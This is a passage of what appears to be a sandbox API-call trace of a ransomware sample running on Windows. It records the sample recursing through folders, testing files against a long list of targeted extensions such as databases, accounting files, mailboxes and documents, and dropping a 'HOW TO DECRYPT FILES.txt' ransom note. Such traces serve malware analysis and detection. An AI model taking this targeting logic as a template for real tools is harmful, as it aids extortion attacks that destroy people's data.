(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0103.183] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0103.184] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0103.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0103.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0103.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0103.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0103.185] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\a18b0022a391eee36847383531694a8d\\Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0103.185] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28248150, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x28248150, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x28248150, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x27600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Office.Word.AddInProxy.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0103.185] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0103.185] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27236cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27236cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27236cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="b8e029b1434d965380b363483e376df0", cAlternateFileName="B8E029~1")) returned 1 [0103.185] lstrcmpA (lpString1=".", lpString2="b8e029b1434d965380b363483e376df0") returned -1 [0103.185] lstrcmpA (lpString1="..", lpString2="b8e029b1434d965380b363483e376df0") returned -1 [0103.185] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\*.*") returned="*.*" [0103.186] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\", lpString2="b8e029b1434d965380b363483e376df0" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0" [0103.186] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27236cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27236cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27236cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0103.186] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0103.186] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27236cd0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27236cd0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27236cd0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0103.187] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0103.187] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0103.187] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27210b70, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x27210b70, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x27210b70, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x52600, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0103.187] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0103.187] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0103.187] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0103.187] lstrcmpiA (lpString1="", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned -1 [0103.187] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\*.*") returned="*.*" [0103.187] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\" [0103.187] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\") returned="" [0103.187] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\HOW TO DECRYPT FILES.txt" [0103.187] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\b8e029b1434d965380b363483e376df0\\how to decrypt files.txt")) returned 0xffffffff [0103.187] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\microsoft.visualstu#\\b8e029b1434d965380b363483e376df0\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0103.192] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0103.194] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0103.194] CloseHandle (hObject=0x90) returned 1 [0103.194] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\", lpString2="Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll" [0103.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ems") returned 0 [0103.194] lstrlenA (lpString="*.ems") returned 5 [0103.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.db") returned 0 [0103.194] lstrlenA (lpString="*.db") returned 4 [0103.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dbf") returned 0 [0103.194] lstrlenA (lpString="*.dbf") returned 5 [0103.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.myox") returned 0 [0103.194] lstrlenA (lpString="*.myox") returned 6 [0103.194] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.myo") returned 0 [0103.195] lstrlenA (lpString="*.myo") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbw") returned 0 [0103.195] lstrlenA (lpString="*.qbw") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbb") returned 0 [0103.195] lstrlenA (lpString="*.qbb") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbm") returned 0 [0103.195] lstrlenA (lpString="*.qbm") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0103.195] lstrlenA (lpString="*.qbo") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0103.195] lstrlenA (lpString="*.qbx") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0103.195] lstrlenA (lpString="*.qba") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0103.195] lstrlenA (lpString="*.qby") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0103.195] lstrlenA (lpString="*.qbj") returned 5 [0103.195] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0103.196] lstrlenA (lpString="*.ofx") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0103.196] lstrlenA (lpString="*.qif") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0103.196] lstrlenA (lpString="*.mye") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0103.196] lstrlenA (lpString="*.mbox") returned 6 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0103.196] lstrlenA (lpString="*.eml") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0103.196] lstrlenA (lpString="*.pst") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0103.196] lstrlenA (lpString="*.ost") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0103.196] lstrlenA (lpString="*.idx") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0103.196] lstrlenA (lpString="*.dbx") returned 5 [0103.196] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0103.197] lstrlenA (lpString="*.sql") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0103.197] lstrlenA (lpString="*.mdb") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0103.197] lstrlenA (lpString="*.fdb") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0103.197] lstrlenA (lpString="*.wab") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0103.197] lstrlenA (lpString="*.dat") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0103.197] lstrlenA (lpString="*.txt") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0103.197] lstrlenA (lpString="*.jpeg") returned 6 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0103.197] lstrlenA (lpString="*.jpg") returned 5 [0103.197] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.png") returned 0 [0103.198] lstrlenA (lpString="*.png") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.php") returned 0 [0103.198] lstrlenA (lpString="*.php") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0103.198] lstrlenA (lpString="*.cs") returned 4 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0103.198] lstrlenA (lpString="*.cpp") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0103.198] lstrlenA (lpString="*.rar") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0103.198] lstrlenA (lpString="*.zip") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.html") returned 0 [0103.198] lstrlenA (lpString="*.html") returned 6 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0103.198] lstrlenA (lpString="*.htm") returned 5 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0103.198] lstrlenA (lpString="*.xlsx") returned 6 [0103.198] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0103.198] lstrlenA (lpString="*.xls") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0103.199] lstrlenA (lpString="*.mp4") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0103.199] lstrlenA (lpString="*.ppt") returned 5 [0103.199] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\b8e029b1434d965380b363483e376df0\\Microsoft.VisualStudio.Tools.Applications.ServerDocument.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0103.199] lstrlenA (lpString="*.pptx") returned 6 [0103.199] PathMatchSpecA 